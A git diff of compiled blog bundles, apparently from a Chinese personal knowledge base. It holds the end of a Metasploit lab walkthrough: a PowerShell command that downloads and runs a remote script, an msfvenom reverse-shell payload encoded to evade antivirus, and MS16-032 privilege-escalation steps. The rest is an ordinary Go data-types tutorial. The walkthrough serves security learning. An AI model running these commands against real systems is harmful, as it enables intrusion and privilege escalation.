#\u6740\u6b7b\u6240\u6709\u6d3b\u8dc3\u4f1a\u8bdd\n"})}),"\n",(0,l.jsx)(e.h2,{id:"2\u6a21\u5757",children:"2.\u6a21\u5757"}),"\n",(0,l.jsx)(e.h3,{id:"exploit",children:"exploit"}),"\n",(0,l.jsx)(e.p,{children:"\u5229\u7528\u7a0b\u5e8f,\u9488\u5bf9\u6f0f\u6d1e\u3001\u6743\u9650\u8fdb\u884c\u5229\u7528,\u662f\u4e3b\u8981\u4f7f\u7528\u7684\u6a21\u5757"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644173.png",alt:"img"})}),"\n",(0,l.jsx)(e.h3,{id:"payload",children:"payload"}),"\n",(0,l.jsx)(e.p,{children:"\u7528\u4e8e\u5728\u76ee\u6807\u7cfb\u7edf\u4e2d\u8fd0\u884c\u4efb\u610f\u547d\u4ee4\u6216\u8005\u6267\u884c\u7279\u5b9a\u4ee3\u7801,\u4e3b\u8981\u7528\u4e8eshell\u83b7\u53d6"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644174.png",alt:"img"})}),"\n",(0,l.jsx)(e.h3,{id:"auxiliary",children:"auxiliary"}),"\n",(0,l.jsx)(e.p,{children:"\u8be5\u6a21\u5757\u5305\u542b\u4e86\u626b\u63cf\u3001\u55c5\u63a2\u3001\u6307\u7eb9\u8bc6\u522b\u3001\u7f51\u7edc\u534f\u8bae\u6b3a\u9a97\u7b49\u76f8\u5173\u529f\u80fd\u6a21\u5757"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644175.png",alt:"img"})}),"\n",(0,l.jsx)(e.h3,{id:"encode",children:"encode"}),"\n",(0,l.jsx)(e.p,{children:"r\u8be5\u6a21\u5757\u4e3b\u8981\u9488\u5bf9 exploit\u6a21\u5757\u8fdb\u884c\u4ee3\u7801\u514d\u6740,\u4ee5\u9003\u8fc7\u6740\u6bd2\u8f6f\u4ef6\u3001\u9632\u706b\u5899\u3001ids\u7b49\u5b89\u5168\u9632\u62a4\u673a\u5236\u7684\u68c0\u6d4b"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644176.png",alt:"img"})}),"\n",(0,l.jsx)(e.h2,{id:"3\u5b9e\u6218-ms16-032\u63d0\u6743",children:"3.\u5b9e\u6218 ms16-032\u63d0\u6743"}),"\n",(0,l.jsx)(e.h3,{id:"1\u67e5\u770b\u5f53\u524d\u6743\u9650\u7248\u672cip\u7b49\u53d1\u73b0\u662f\u4e00\u4e2awin7\u4e13\u4e1a\u6743\u9650\u5f88\u4f4e\u7684\u7528\u6237",children:"1.\u67e5\u770b\u5f53\u524d\u6743\u9650\u3001\u7248\u672c\u3001ip\u7b49\uff0c\u53d1\u73b0\u662f\u4e00\u4e2awin7\u4e13\u4e1a\u6743\u9650\u5f88\u4f4e\u7684\u7528\u6237"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644177.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644178.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644179.png",alt:"img"})}),"\n",(0,l.jsx)(e.h3,{id:"2\u8fdc\u7a0b\u52a0\u8f7dsherlock\u67e5\u770b\u5f53\u524d\u7248\u672c\u6f0f\u6d1e\u4fe1\u606f\u5e76\u5bfc\u5165\u4e00\u4e2a1txt\u6587\u4ef6\u4e2d",children:"2.\u8fdc\u7a0b\u52a0\u8f7dsherlock\u67e5\u770b\u5f53\u524d\u7248\u672c\u6f0f\u6d1e\u4fe1\u606f\u5e76\u5bfc\u5165\u4e00\u4e2a1.txt\u6587\u4ef6\u4e2d"}),"\n",(0,l.jsxs)(e.p,{children:["powershell -nop -exec -bypass -c \"IEX (New-Object Net.Webclient).DownloadString('",(0,l.jsx)(e.a,{href:"http://192.168.10.100/Sherlock.ps1",children:"http://192.168.10.100/Sherlock.ps1"}),"'); Find-Allvulns\" >1.txt"]}),"\n",(0,l.jsx)(e.p,{children:'powershell -nop -exec -bypass -c "Import-Module Sherlock.ps1; Find-Allvulns" >1.txt'}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644180.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u6267\u884c\u5b8c\u6210\u5e76\u8fd4\u56de\u4e00\u4e2a1.txt\uff0c\u67e5\u770b\u6f0f\u6d1e\u4fe1\u606f"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644181.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u53d1\u73b0\u7248\u672c\u662f64\u4f4d\u7684\u6682\u4e0d\u652f\u6301\u6f0f\u6d1e"}),"\n",(0,l.jsx)(e.h3,{id:"3\u6211\u4eec\u4f7f\u7528msf\u505a\u4e00\u4e2a\u6728\u9a6c\u7a0b\u5e8f",children:"3.\u6211\u4eec\u4f7f\u7528msf\u505a\u4e00\u4e2a\u6728\u9a6c\u7a0b\u5e8f"}),"\n",(0,l.jsx)(e.p,{children:"msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\\x00' LHOST=192.168.119.130 LPORT=4444 -f exe > 1.exe"}),"\n",(0,l.jsx)(e.p,{children:"\u53c2\u6570\u8bf4\u660e\uff1a"}),"\n",(0,l.jsxs)(e.ol,{children:["\n",(0,l.jsx)(e.li,{children:"-p payload"}),"\n",(0,l.jsx)(e.li,{children:"-e \u7f16\u7801\u65b9\u5f0f"}),"\n",(0,l.jsx)(e.li,{children:"-i \u7f16\u7801\u6b21\u6570"}),"\n",(0,l.jsx)(e.li,{children:"-b \u5728\u751f\u6210\u7684\u7a0b\u5e8f\u4e2d\u907f\u514d\u51fa\u73b0\u7684\u503c"}),"\n",(0,l.jsx)(e.li,{children:"LHOST,LPORT \u76d1\u542c\u4e0a\u7ebf\u7684\u4e3b\u673aIP\u548c\u7aef\u53e3"}),"\n",(0,l.jsx)(e.li,{children:"-f exe \u751f\u6210EXE\u683c\u5f0f"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:"\u8bbe\u7f6e\u672c\u5730\u76d1\u542c"}),"\n",(0,l.jsx)(e.p,{children:"msf6 > use exploit/multi/handler"}),"\n",(0,l.jsx)(e.p,{children:"msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644182.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u4e0a\u4f20\u4e4b\u9776\u673aweb \u8fd0\u884c \u8fd9\u91cc\u6211\u4eec ip \u7aef\u53e34443 \u8bbe\u7f6e\u9519\u4e86 \u91cd\u65b0\u6539\u4e00\u4e0b 192.168.119.130:4443"}),"\n",(0,l.jsx)(e.p,{children:"\u524d\u9762\u7684 exe\u6587\u4ef6\u4e5f\u8981\u91cd\u65b0\u751f\u6210"}),"\n",(0,l.jsx)(e.p,{children:"\u6267\u884c"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644183.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u67e5\u770b\u4e00\u4e0b\u6743\u9650 \u6ca1\u95ee\u9898\u7248\u672c\u6743\u9650\u5f88\u4f4e"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644184.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u8fd8\u662f\u4f7f\u7528sherlock \u67e5\u770b \u6f0f\u6d1e"}),"\n",(0,l.jsx)(e.p,{children:'powershell -exec -bypass -c "sherlock.ps1; Find-Allvulns" >2.txt'}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644185.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644186.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u9009\u62e9\u4e00\u4e2a\u5f53\u524d\u7248\u672c\u7684\u6f0f\u6d1e\u4f7f\u7528"}),"\n",(0,l.jsx)(e.p,{children:"\u8fd9\u91cc\u6f14\u793aMS16_032\u7684\u6f0f\u6d1e"}),"\n",(0,l.jsx)(e.p,{children:"use exploit/windows/local/ms16_032_secondary_logon_handle_privesc"}),"\n",(0,l.jsx)(e.p,{children:"\u8bbe\u7f6epayload session LHOST LPORT"}),"\n",(0,l.jsx)(e.p,{children:"msf6 exploit(windows/local/ms16_032_secondary_logon_handle_privesc) > set payload windows/meterpreter/reverse_tcp"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644187.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644188.png",alt:"img"})}),"\n",(0,l.jsx)(e.p,{children:"\u8fd0\u884c\u5373\u53ef\u83b7\u5f97shell"}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191644189.png",alt:"img"})})]})}function h(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,l.jsx)(e,{...n,children:(0,l.jsx)(p,{...n})}):p(n)}}}]); \ No newline at end of file diff --git a/assets/js/3d442095.754915ce.js b/assets/js/3d442095.754915ce.js new file mode 100644 index 0000000..1b702d8 --- /dev/null +++ b/assets/js/3d442095.754915ce.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4270],{28453:(n,e,t)=>{t.d(e,{R:()=>i,x:()=>c});var l=t(96540);const s={},r=l.createContext(s);function i(n){const e=l.useContext(r);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:i(n.components),l.createElement(r.Provider,{value:e},n.children)}},30181:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>c,default:()=>o,frontMatter:()=>i,metadata:()=>l,toc:()=>x});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b","description":"\u6574\u578b","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/03.GoLang-\u6570\u636e\u7c7b\u578b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/03.GoLang-\u6570\u636e\u7c7b\u578b.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf"},"next":{"title":"GoLang-\u8fd0\u7b97\u7b26","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26"}}');var s=t(74848),r=t(28453);const i={},c="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b",d={},x=[{value:"\u6574\u578b",id:"\u6574\u578b",level:2},{value:"\u7279\u6b8a\u6574\u578b",id:"\u7279\u6b8a\u6574\u578b",level:3},{value:"\u6570\u5b57\u5b57\u9762\u91cf\u8bed\u6cd5\uff08Number literals syntax\uff09",id:"\u6570\u5b57\u5b57\u9762\u91cf\u8bed\u6cd5number-literals-syntax",level:3},{value:"\u6d6e\u70b9\u578b",id:"\u6d6e\u70b9\u578b",level:2},{value:"\u590d\u6570",id:"\u590d\u6570",level:2},{value:"\u5e03\u5c14\u503c",id:"\u5e03\u5c14\u503c",level:2},{value:"\u5b57\u7b26\u4e32",id:"\u5b57\u7b26\u4e32",level:2},{value:"\u5b57\u7b26\u4e32\u8f6c\u4e49\u7b26",id:"\u5b57\u7b26\u4e32\u8f6c\u4e49\u7b26",level:3},{value:"\u591a\u884c\u5b57\u7b26\u4e32",id:"\u591a\u884c\u5b57\u7b26\u4e32",level:3},{value:"\u5b57\u7b26\u4e32\u7684\u5e38\u7528\u64cd\u4f5c",id:"\u5b57\u7b26\u4e32\u7684\u5e38\u7528\u64cd\u4f5c",level:3},{value:"byte\u548crune\u7c7b\u578b",id:"byte\u548crune\u7c7b\u578b",level:2},{value:"\u4fee\u6539\u5b57\u7b26\u4e32",id:"\u4fee\u6539\u5b57\u7b26\u4e32",level:3},{value:"\u7c7b\u578b\u8f6c\u6362",id:"\u7c7b\u578b\u8f6c\u6362",level:2}];function h(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b"})}),"\n",(0,s.jsx)(e.h2,{id:"\u6574\u578b",children:"\u6574\u578b"}),"\n",(0,s.jsx)(e.p,{children:"\u6574\u578b\u5206\u4e3a\u4ee5\u4e0b\u4e24\u4e2a\u5927\u7c7b\uff1a \u6309\u957f\u5ea6\u5206\u4e3a\uff1aint8\u3001int16\u3001int32\u3001int64 \u5bf9\u5e94\u7684\u65e0\u7b26\u53f7\u6574\u578b\uff1auint8\u3001uint16\u3001uint32\u3001uint64"}),"\n",(0,s.jsxs)(e.p,{children:["\u5176\u4e2d\uff0c",(0,s.jsx)(e.code,{children:"uint8"}),"\u5c31\u662f\u6211\u4eec\u719f\u77e5\u7684",(0,s.jsx)(e.code,{children:"byte"}),"\u578b\uff0c",(0,s.jsx)(e.code,{children:"int16"}),"\u5bf9\u5e94C\u8bed\u8a00\u4e2d\u7684",(0,s.jsx)(e.code,{children:"short"}),"\u578b\uff0c",(0,s.jsx)(e.code,{children:"int64"}),"\u5bf9\u5e94C\u8bed\u8a00\u4e2d\u7684",(0,s.jsx)(e.code,{children:"long"}),"\u578b\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u7c7b\u578b"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"uint8"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u65e0\u7b26\u53f7 8\u4f4d\u6574\u578b (0 \u5230 255)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"uint16"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u65e0\u7b26\u53f7 16\u4f4d\u6574\u578b (0 \u5230 65535)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"uint32"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u65e0\u7b26\u53f7 32\u4f4d\u6574\u578b (0 \u5230 4294967295)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"uint64"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u65e0\u7b26\u53f7 64\u4f4d\u6574\u578b (0 \u5230 18446744073709551615)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"int8"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6709\u7b26\u53f7 8\u4f4d\u6574\u578b (-128 \u5230 127)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"int16"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6709\u7b26\u53f7 16\u4f4d\u6574\u578b (-32768 \u5230 32767)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"int32"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6709\u7b26\u53f7 32\u4f4d\u6574\u578b (-2147483648 \u5230 2147483647)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"int64"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6709\u7b26\u53f7 64\u4f4d\u6574\u578b (-9223372036854775808 \u5230 9223372036854775807)"})]})]})]}),"\n",(0,s.jsx)(e.h3,{id:"\u7279\u6b8a\u6574\u578b",children:"\u7279\u6b8a\u6574\u578b"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u7c7b\u578b"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"uint"}),(0,s.jsxs)(e.td,{style:{textAlign:"center"},children:["32\u4f4d\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u5c31\u662f",(0,s.jsx)(e.code,{children:"uint32"}),"\uff0c64\u4f4d\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u5c31\u662f",(0,s.jsx)(e.code,{children:"uint64"})]})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"int"}),(0,s.jsxs)(e.td,{style:{textAlign:"center"},children:["32\u4f4d\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u5c31\u662f",(0,s.jsx)(e.code,{children:"int32"}),"\uff0c64\u4f4d\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u5c31\u662f",(0,s.jsx)(e.code,{children:"int64"})]})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"uintptr"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u65e0\u7b26\u53f7\u6574\u578b\uff0c\u7528\u4e8e\u5b58\u653e\u4e00\u4e2a\u6307\u9488"})]})]})]}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})," \u5728\u4f7f\u7528",(0,s.jsx)(e.code,{children:"int"}),"\u548c ",(0,s.jsx)(e.code,{children:"uint"}),"\u7c7b\u578b\u65f6\uff0c\u4e0d\u80fd\u5047\u5b9a\u5b83\u662f32\u4f4d\u621664\u4f4d\u7684\u6574\u578b\uff0c\u800c\u662f\u8003\u8651",(0,s.jsx)(e.code,{children:"int"}),"\u548c",(0,s.jsx)(e.code,{children:"uint"}),"\u53ef\u80fd\u5728\u4e0d\u540c\u5e73\u53f0\u4e0a\u7684\u5dee\u5f02\u3002"]}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.strong,{children:"\u6ce8\u610f\u4e8b\u9879"})," \u83b7\u53d6\u5bf9\u8c61\u7684\u957f\u5ea6\u7684\u5185\u5efa",(0,s.jsx)(e.code,{children:"len()"}),"\u51fd\u6570\u8fd4\u56de\u7684\u957f\u5ea6\u53ef\u4ee5\u6839\u636e\u4e0d\u540c\u5e73\u53f0\u7684\u5b57\u8282\u957f\u5ea6\u8fdb\u884c\u53d8\u5316\u3002\u5b9e\u9645\u4f7f\u7528\u4e2d\uff0c\u5207\u7247\u6216 map \u7684\u5143\u7d20\u6570\u91cf\u7b49\u90fd\u53ef\u4ee5\u7528",(0,s.jsx)(e.code,{children:"int"}),"\u6765\u8868\u793a\u3002\u5728\u6d89\u53ca\u5230\u4e8c\u8fdb\u5236\u4f20\u8f93\u3001\u8bfb\u5199\u6587\u4ef6\u7684\u7ed3\u6784\u63cf\u8ff0\u65f6\uff0c\u4e3a\u4e86\u4fdd\u6301\u6587\u4ef6\u7684\u7ed3\u6784\u4e0d\u4f1a\u53d7\u5230\u4e0d\u540c\u7f16\u8bd1\u76ee\u6807\u5e73\u53f0\u5b57\u8282\u957f\u5ea6\u7684\u5f71\u54cd\uff0c\u4e0d\u8981\u4f7f\u7528",(0,s.jsx)(e.code,{children:"int"}),"\u548c ",(0,s.jsx)(e.code,{children:"uint"}),"\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u6570\u5b57\u5b57\u9762\u91cf\u8bed\u6cd5number-literals-syntax",children:"\u6570\u5b57\u5b57\u9762\u91cf\u8bed\u6cd5\uff08Number literals syntax\uff09"}),"\n",(0,s.jsx)(e.p,{children:"Go1.13\u7248\u672c\u4e4b\u540e\u5f15\u5165\u4e86\u6570\u5b57\u5b57\u9762\u91cf\u8bed\u6cd5\uff0c\u8fd9\u6837\u4fbf\u4e8e\u5f00\u53d1\u8005\u4ee5\u4e8c\u8fdb\u5236\u3001\u516b\u8fdb\u5236\u6216\u5341\u516d\u8fdb\u5236\u6d6e\u70b9\u6570\u7684\u683c\u5f0f\u5b9a\u4e49\u6570\u5b57\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"v := 0b00101101"}),"\uff0c \u4ee3\u8868\u4e8c\u8fdb\u5236\u7684 101101\uff0c\u76f8\u5f53\u4e8e\u5341\u8fdb\u5236\u7684 45\u3002 ",(0,s.jsx)(e.code,{children:"v := 0o377"}),"\uff0c\u4ee3\u8868\u516b\u8fdb\u5236\u7684 377\uff0c\u76f8\u5f53\u4e8e\u5341\u8fdb\u5236\u7684 255\u3002 ",(0,s.jsx)(e.code,{children:"v := 0x1p-2"}),"\uff0c\u4ee3\u8868\u5341\u516d\u8fdb\u5236\u7684 1 \u9664\u4ee5 2\xb2\uff0c\u4e5f\u5c31\u662f 0.25\u3002"]}),"\n",(0,s.jsxs)(e.p,{children:["\u800c\u4e14\u8fd8\u5141\u8bb8\u6211\u4eec\u7528 ",(0,s.jsx)(e.code,{children:"_"})," \u6765\u5206\u9694\u6570\u5b57\uff0c\u6bd4\u5982\u8bf4\uff1a ",(0,s.jsx)(e.code,{children:"v := 123_456"})," \u8868\u793a v \u7684\u503c\u7b49\u4e8e 123456\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u501f\u52a9fmt\u51fd\u6570\u6765\u5c06\u4e00\u4e2a\u6574\u6570\u4ee5\u4e0d\u540c\u8fdb\u5236\u5f62\u5f0f\u5c55\u793a\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'package main\n \nimport "fmt"\n \nfunc main(){\n\t// \u5341\u8fdb\u5236\n\tvar a int = 10\n\tfmt.Printf("%d \\n", a) // 10\n\tfmt.Printf("%b \\n", a) // 1010 \u5360\u4f4d\u7b26%b\u8868\u793a\u4e8c\u8fdb\u5236\n \n\t// \u516b\u8fdb\u5236 \u4ee50\u5f00\u5934\n\tvar b int = 077\n\tfmt.Printf("%o \\n", b) // 77\n \n\t// \u5341\u516d\u8fdb\u5236 \u4ee50x\u5f00\u5934\n\tvar c int = 0xff\n\tfmt.Printf("%x \\n", c) // ff\n\tfmt.Printf("%X \\n", c) // FF\n}\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u6d6e\u70b9\u578b",children:"\u6d6e\u70b9\u578b"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u652f\u6301\u4e24\u79cd\u6d6e\u70b9\u578b\u6570\uff1a",(0,s.jsx)(e.code,{children:"float32"}),"\u548c",(0,s.jsx)(e.code,{children:"float64"}),"\u3002\u8fd9\u4e24\u79cd\u6d6e\u70b9\u578b\u6570\u636e\u683c\u5f0f\u9075\u5faa",(0,s.jsx)(e.code,{children:"IEEE 754"}),"\u6807\u51c6\uff1a ",(0,s.jsx)(e.code,{children:"float32"})," \u7684\u6d6e\u70b9\u6570\u7684\u6700\u5927\u8303\u56f4\u7ea6\u4e3a ",(0,s.jsx)(e.code,{children:"3.4e38"}),"\uff0c\u53ef\u4ee5\u4f7f\u7528\u5e38\u91cf\u5b9a\u4e49\uff1a",(0,s.jsx)(e.code,{children:"math.MaxFloat32"}),"\u3002 ",(0,s.jsx)(e.code,{children:"float64"})," \u7684\u6d6e\u70b9\u6570\u7684\u6700\u5927\u8303\u56f4\u7ea6\u4e3a ",(0,s.jsx)(e.code,{children:"1.8e308"}),"\uff0c\u53ef\u4ee5\u4f7f\u7528\u4e00\u4e2a\u5e38\u91cf\u5b9a\u4e49\uff1a",(0,s.jsx)(e.code,{children:"math.MaxFloat64"}),"\u3002"]}),"\n",(0,s.jsxs)(e.p,{children:["\u6253\u5370\u6d6e\u70b9\u6570\u65f6\uff0c\u53ef\u4ee5\u4f7f\u7528",(0,s.jsx)(e.code,{children:"fmt"}),"\u5305\u914d\u5408\u52a8\u8bcd",(0,s.jsx)(e.code,{children:"%f"}),"\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'package main\nimport (\n "fmt"\n "math"\n)\nfunc main() {\n fmt.Printf("%f\\n", math.Pi)\n fmt.Printf("%.2f\\n", math.Pi)\n}\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u590d\u6570",children:"\u590d\u6570"}),"\n",(0,s.jsx)(e.p,{children:"complex64\u548ccomplex128"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"var c1 complex64\nc1 = 1 + 2i\nvar c2 complex128\nc2 = 2 + 3i\nfmt.Println(c1)\nfmt.Println(c2)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u590d\u6570\u6709\u5b9e\u90e8\u548c\u865a\u90e8\uff0ccomplex64\u7684\u5b9e\u90e8\u548c\u865a\u90e8\u4e3a32\u4f4d\uff0ccomplex128\u7684\u5b9e\u90e8\u548c\u865a\u90e8\u4e3a64\u4f4d\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"\u5e03\u5c14\u503c",children:"\u5e03\u5c14\u503c"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u4ee5",(0,s.jsx)(e.code,{children:"bool"}),"\u7c7b\u578b\u8fdb\u884c\u58f0\u660e\u5e03\u5c14\u578b\u6570\u636e\uff0c\u5e03\u5c14\u578b\u6570\u636e\u53ea\u6709",(0,s.jsx)(e.code,{children:"true\uff08\u771f\uff09"}),"\u548c",(0,s.jsx)(e.code,{children:"false\uff08\u5047\uff09"}),"\u4e24\u4e2a\u503c\u3002"]}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsxs)(e.li,{children:["\u5e03\u5c14\u7c7b\u578b\u53d8\u91cf\u7684\u9ed8\u8ba4\u503c\u4e3a",(0,s.jsx)(e.code,{children:"false"}),"\u3002"]}),"\n",(0,s.jsx)(e.li,{children:"Go 